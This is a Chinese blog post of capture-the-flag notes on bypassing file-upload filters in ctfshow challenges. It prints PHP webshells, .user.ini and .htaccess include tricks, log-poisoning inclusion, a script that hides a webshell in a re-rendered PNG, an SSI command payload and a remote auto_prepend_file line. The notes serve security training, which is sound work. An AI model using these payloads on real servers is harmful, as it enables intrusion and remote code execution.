文件上传漏洞总结

目录

所有的文件上传,都需要包含,否则不包含的文件上传无法利用。先考虑如何能解除前端限制。

1、前端限制

2、利用图片二次渲染。接着上传

3、 文件内容过滤,过滤关键字是php

 4、过滤开始。抓包的时候,观察,看过滤了什么。

5、web161-web163的内容稍等再弄

6、png二次渲染绕过,可以上传一张有DU的图片,直接传参。web164

7、jpg二次渲染绕过,这次需要个美图照片专用的。在ctfshow总结里面。web165

8、上传一个带码的zip文件。文件包含也能用上payload。web166

9、题目提示httpd的情况下,这种情况用.htaccess  

10、免杀。web167-170

11、Apache2 SSI远程命令执行漏洞 


1、前端限制

burp抓包,将png改为php

2、利用图片二次渲染。接着上传

利用上传user.ini进行文件上传绕过
解题过程:
上传一个含木马的图片

<?php eval($_POST[1]);?>
.user.ini的内容:auto_append_file=“xxx”xxx为我们上传的文件,这样就在每个php文件上包含了我们的木马文件。

3、 文件内容过滤,过滤关键字是php

上传一个图片木马,发现上传不了,经过一系列的尝试发现是对文件内容作了些过滤,过滤了php,所以采用简短的语句进行绕过。<?=eval($_POST[1]);?>

.user.ini的时候,需要加目录。auto append file=/var/www/html/upload/1.png

 

 

 4、过滤开始。抓包的时候,观察,看过滤了什么。

1、基础上过滤了[]那我们直接用{}来代替

<?=eval($_POST{1});?>

那就直接输出flag算了,不搞一句话了。摊牌了,反正知道flag位置

<?=system('tac ../f*')?>
2、过滤了括号,那就用反引号就可以啦

<?=`tac ../f*`?>

3、考点:过滤了php,执行函数,反引号等web160

解题思路:
日志包含
过滤关键字是log
所以用拼接绕过

<?=include"/var/ lo" ."g/nginx/access . lo" ."g"?>
上传完.user.ini和图片后

auto append file=/var/www/html/upload/1.png
访问网站然后修改ua头信息

 

5、web161-web163的内容稍等再弄

6、png二次渲染绕过,可以上传一张有DU的图片,直接传参。web164

 生成原理:

打开phpstudy,然后将上述代码保存为1.php,连同图片马1.png

 <?php eval($_POST[1]);?>

一起放在phpstudy的www目录下,然后浏览器访问http://127.0.0.1/1.php,然后返回再用winhex打开1.png发现已经完成渲染

 博客无法上传图片,在ctfshow总结里面。

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'1.png'); #保存在本地的图片马
?>

7、jpg二次渲染绕过,这次需要个美图照片专用的。在ctfshow总结里面。web165

1、上传图片,2、下载服务器渲染过的图片,3、用脚本生成payload.jpg,4、上传图片,传参1=phpinfo();

8、上传一个带码的zip文件。文件包含也能用上payload。web166

9、题目提示httpd的情况下,这种情况用.htaccess  

1、先上传个附件,看允许什么后缀上传,然后再上传.htaccess,然后再进行文件包含。

2、.htaccess的文件内容  AddType application/x-httpd-php .jpg   注意:.jpg是根据前端同意传什么文件,再改什么后缀。

3、直接传不上去。前端先改验证,前端改了不行,抓包再传 。

10、免杀。web167-170

1、上传图片后,在图片末尾直接加入一句话木马。其实也是用的包含。web167

2、上传文件后,更改后缀名,发现不能上传,但是更改文件内容,就可以上传,这时候要试探是过滤了什么内容。web169,是过滤了php和<,这时候考虑是否日志包含,包含日志的话,必须在上传文件夹下面有index文件的存在,才能包含,这时候可以随便上传一个index.php,然后再上传.user.ini文件,再把这个文件包含进来。(如果日志默认不包含,或者user _agent被url编码了的话,可能就会失败)

.user.ini内容

auto_prepend_file=/var/log/nginx/access.log

 因为日志内容比较多,这时候需要描点。

木马 <?php eval($_POST[1]);?>

提示:注意日志包含容易被浏览器解析,所以要在burp的相应里面看。

3、另一种情况测试是否能上传.user.ini文件,如果能的话,上传这条指令。然后再上传php文件,

auto_prepend_file=http://2002459365  #数字代表公网地址

11、Apache2 SSI远程命令执行漏洞 

上传1.shtml,内容是我们要执行的命令

<!--#exec cmd="ls /" -->

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值